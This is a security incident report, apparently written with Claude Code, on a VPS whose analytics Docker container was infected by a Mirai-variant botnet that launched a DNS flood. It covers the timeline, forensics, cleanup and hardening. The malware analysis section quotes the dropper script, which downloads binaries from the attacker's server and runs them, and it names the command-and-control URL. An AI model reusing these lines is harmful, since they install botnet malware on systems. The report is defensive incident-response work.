tractatus/docs/SECURITY_INCIDENT_REPORT_2025-12-09.md

# Security Incident Report: VPS Compromise
## Date: 2025-12-09 15:53 CET

---

## Executive Summary

**Incident**: DNS flood attack (83Kpps/45Mbps) launched from VPS
**Root Cause**: Compromised Docker container (Umami Analytics)
**Malware**: Exodus Botnet (Mirai variant)
**Host Impact**: NONE - malware was contained within Docker
**Data Impact**: No evidence of exfiltration
**Recommendation**: Clean Docker, redeploy, harden

---

## 1. Timeline of Events

| Time (CET) | Event |
|------------|-------|
| ~14:43 | Attacker gains access to Docker container |
| 14:43 | Fake `dockerd` binaries deployed in container |
| 14:48 | Dropper scripts (`.d`, `.ffaaxx`) created |
| 14:50 | Exodus multi-architecture binaries downloaded from 196.251.100.191 |
| 14:53:14 | DNS flood attack begins (target: 171.225.223.108:53) |
| 14:53:42 | OVH detects attack, initiates shutdown |
| 14:53:42 | VPS forced into rescue mode |
| ~18:00 | OVH sends notification emails |

---

## 2. Attack Details

### 2.1 Traffic Analysis (from OVH)
```
Attack rate:    83,000 packets/second
Bandwidth:      45 Mbps
Protocol:       UDP
Source port:    35334
Target:         171.225.223.108:53 (Vietnam)
Packet size:    540 bytes
Attack type:    DNS flood
```

### 2.2 Malware Identified

**Name**: Exodus Botnet (Mirai variant)
**C2 Server**: 196.251.100.191 (South Africa)
**Download URL**: `http://196.251.100.191/no_killer/Exodus.*`

**Files deployed**:
```
/var/lib/docker/overlay2/.../diff/
├── tmp/
│   ├── .d                  (ELF dropper binary)
│   ├── .ffaaxx             (hidden attack binary)
│   ├── update.sh           (download script)
│   ├── Exodus.x86_64       (main attack binary)
│   ├── Exodus.x86
│   ├── Exodus.arm4-7
│   ├── Exodus.mips
│   ├── Exodus.m68k
│   ├── Exodus.ppc
│   ├── Exodus.sh4
│   ├── Exodus.spc
│   ├── Exodus.mpsl
│   └── Exodus.i686
└── var/tmp/
    ├── dockerd             (fake Docker daemon)
    └── dockerd-daemon      (attack daemon)
```

### 2.3 Dropper Script Content (update.sh)
```bash
cd /tmp; wget http://196.251.100.191/no_killer/Exodus.x86_64; chmod 777 *; ./Exodus.x86_64;
cd /tmp; wget http://196.251.100.191/no_killer/Exodus.x86; chmod 777 *; ./Exodus.x86;
# ... (repeated for all architectures)
```

---

## 3. Entry Vector Analysis

### 3.1 What Was NOT Compromised

| Vector | Status | Evidence |
|--------|--------|----------|
| SSH | CLEAN | All logins from legitimate IPv6 + key |
| MongoDB | CLEAN | Bound to 127.0.0.1, auth enabled |
| Tractatus App | CLEAN | server.js hash matches local |
| Host OS | CLEAN | No rogue users, cron jobs, or modified binaries |
| nginx | CLEAN | Config hash verified |
| systemd | CLEAN | Service file hash verified |
| SSH Keys | CLEAN | Only legitimate deploy key present |

### 3.2 What WAS Compromised

| Component | Status | Evidence |
|-----------|--------|----------|
| Docker Container | COMPROMISED | Malware files in overlay2 |
| Umami Analytics | LIKELY ENTRY POINT | Web-facing container |

### 3.3 Probable Entry Method

The **Umami Analytics container** (`ghcr.io/umami-software/umami:postgresql-latest`) was the likely entry point:

1. Container exposed to network
2. Possible vulnerability in Umami
3. OR default/weak credentials
4. OR exposed Docker API

**Note**: No unauthorized SSH access was detected. All 30 recent logins were from the same legitimate IPv6 address with the correct SSH key.

---

## 4. Impact Assessment

### 4.1 What Was Affected

| System | Impact | Details |
|--------|--------|---------|
| Website | DOWN | VPS in rescue mode |
| Database (MongoDB) | INTACT | No evidence of access |
| User Data | NONE | No users except admin |
| Credentials | EXPOSED | Git history had credential files |
| IP Reputation | DAMAGED | May be blacklisted |

### 4.2 What Was NOT Affected

- Tractatus application code (hash verified)
- MongoDB data integrity
- SSL certificates
- DNS configuration
- GitHub repositories

---

## 5. Forensic Evidence Summary

### 5.1 File System Analysis

**Modified files in last 24h (excluding Docker/logs)**:
- All legitimate deployment files from today's translation work
- Normal system cache updates
- PostgreSQL WAL files (normal operation)

**No modifications to**:
- /etc/passwd (no rogue users)
- /etc/cron.* (no malicious cron jobs)
- /usr/bin, /usr/sbin (no modified binaries)
- ~/.ssh/authorized_keys (only legitimate key)

### 5.2 Log Analysis

**SSH Auth Log**: Heavy brute force from multiple IPs:
- 92.118.39.x (trying: solv, node, ps, mapr)
- 80.94.92.x (trying: sol, solana, trader)
- 31.58.144.6 (trying: root)
- 193.46.255.7 (trying: root)

**Result**: ALL failed - no successful unauthorized logins

### 5.3 Integrity Verification

| File | Local Hash | Production Hash | Status |
|------|------------|-----------------|--------|
| src/server.js | 884b6a4874867aae58269c2f88078b73 | 884b6a4874867aae58269c2f88078b73 | MATCH |
| public/*.js count | 123 | 123 | MATCH |
| src/*.js count | 139 | 139 | MATCH |

---

## 6. Recovery Options

### Option A: Full Reinstall (Safest)
**Pros**: Eliminates any hidden persistence
**Cons**: More time, reconfiguration needed
**Risk**: LOW

### Option B: Clean Docker + Redeploy (Recommended)
**Pros**: Faster, maintains configuration
**Cons**: Small risk of missed persistence
**Risk**: LOW-MEDIUM (mitigated by evidence showing containment)

**Justification for Option B**:
1. Malware was 100% contained in Docker overlay
2. Host system files verified clean
3. No unauthorized SSH access
4. No rogue users or cron jobs
5. Application code hashes match
6. Config files verified intact

---

## 7. Recommended Recovery Steps (Option B)

### Phase 1: Clean Docker (In Rescue Mode)
```bash
# Mount disk
mount /dev/sdb1 /mnt/vps

# Remove all Docker data
rm -rf /mnt/vps/var/lib/docker/*
rm -rf /mnt/vps/opt/containerd/*

# Disable Docker autostart
rm /mnt/vps/etc/systemd/system/multi-user.target.wants/docker.service 2>/dev/null
```

### Phase 2: Security Hardening
```bash
# Block Docker ports via UFW (add to /etc/ufw/user.rules)
-A ufw-user-input -p tcp --dport 2375 -j DROP
-A ufw-user-input -p tcp --dport 2376 -j DROP

# Disable password auth in sshd_config
sed -i 's/.*PasswordAuthentication.*/PasswordAuthentication no/' /mnt/vps/etc/ssh/sshd_config

# Install fail2ban (after reboot)
```

### Phase 3: Request Normal Boot
Contact OVH support to restore normal boot mode.

### Phase 4: Post-Boot Actions
```bash
# Verify services
sudo systemctl status tractatus
sudo systemctl status mongod
sudo systemctl status nginx

# Rotate credentials
node scripts/fix-admin-user.js admin@agenticgovernance.digital 'NEW_PASSWORD'

# Update .env with new secrets
# Redeploy from clean local source
./scripts/deploy.sh --yes
```

### Phase 5: Remove Docker (If Not Needed)
```bash
sudo apt purge docker-ce docker-ce-cli containerd.io
sudo rm -rf /var/lib/docker /var/lib/containerd
```

---

## 8. Preventive Measures

### Immediate
- [ ] Rotate all passwords (admin, MongoDB, etc.)
- [ ] Remove Docker or secure it properly
- [ ] Enable fail2ban
- [ ] Review UFW rules
- [ ] Disable SSH password auth

### Long-term
- [ ] Never expose Docker API to network
- [ ] Use Docker rootless mode if Docker needed
- [ ] Implement intrusion detection (OSSEC/Wazuh)
- [ ] Set up log monitoring/alerting
- [ ] Regular security audits
- [ ] Remove credential files from git history (BFG Repo-Cleaner)

---

## 9. Lessons Learned

1. **Docker containers are attack surfaces** - Even "analytics" containers can be compromised
2. **Container isolation ≠ security** - Containers had network access to launch attacks
3. **Defense in depth works** - UFW, MongoDB auth, SSH keys prevented host compromise
4. **Git credential exposure is dangerous** - Historical credential files may have aided reconnaissance
5. **OVH detection is fast** - Attack stopped within seconds of detection

---

## 10. Contact OVH

**To restore normal mode**, contact OVH support with:
- Reference: CS13385927
- Server: vps-93a693da.vps.ovh.net
- Explain: Docker container was compromised, malware removed, requesting normal boot

---

## Appendix A: OVH Email Content

```
Attack detail : 83Kpps/45Mbps
dateTime srcIp:srcPort dstIp:dstPort protocol flags bytes reason
2025.12.09 15:53:14 CET 91.134.240.3:35334 171.225.223.108:53 UDP --- 540 ATTACK:DNS
```

## Appendix B: Compromised Docker Containers

| Container | Image | Status |
|-----------|-------|--------|
| tractatus-umami | ghcr.io/umami-software/umami:postgresql-latest | COMPROMISED |
| tractatus-umami-db | postgres:15-alpine | Likely clean |

---

## Appendix C: Recovery Completed

**Recovery Date**: 2025-12-09T19:15:00Z

### Actions Completed

| Action | Status | Time |
|--------|--------|------|
| Docker data removed | ✅ | Rescue mode |
| Containerd data removed | ✅ | Rescue mode |
| Docker autostart disabled | ✅ | Rescue mode |
| SSH hardened (no password, no root, MaxAuthTries 3) | ✅ | Rescue mode |
| UFW rules updated (Docker ports blocked) | ✅ | Rescue mode |
| fail2ban configured (SSH jail, 24h ban) | ✅ | Rescue mode |
| VPS rebooted to normal mode | ✅ | Via OVH Manager |
| Services verified (tractatus, nginx, mongod, fail2ban) | ✅ | Post-reboot |
| Docker packages purged (apt purge) | ✅ | Post-reboot |
| Admin credentials rotated | ✅ | Post-reboot |
| Redeployed from clean local source | ✅ | Post-reboot |
| Website verified (HTTP 200) | ✅ | Post-deployment |

### Hardening Applied

**SSH Configuration** (`/etc/ssh/sshd_config`):
```
PasswordAuthentication no
PermitRootLogin no
MaxAuthTries 3
LoginGraceTime 20
```

**UFW Rules** (new additions):
```
-A ufw-user-input -p tcp --dport 2375 -j DROP
-A ufw-user-input -p tcp --dport 2376 -j DROP
```

**fail2ban** (`/etc/fail2ban/jail.local`):
```
[sshd]
enabled = true
maxretry = 3
bantime = 24h
```

### Docker Status
- All Docker packages removed: `docker-ce`, `docker-ce-cli`, `containerd.io`, `docker-buildx-plugin`, `docker-compose-plugin`
- `/var/lib/docker` directory removed
- No container runtime installed on server

---

**Report Generated**: 2025-12-09T18:30:00Z
**Report Updated**: 2025-12-09T19:15:00Z
**Analyst**: Claude Code (Forensic Analysis)
**Status**: ✅ RECOVERY COMPLETE - Site operational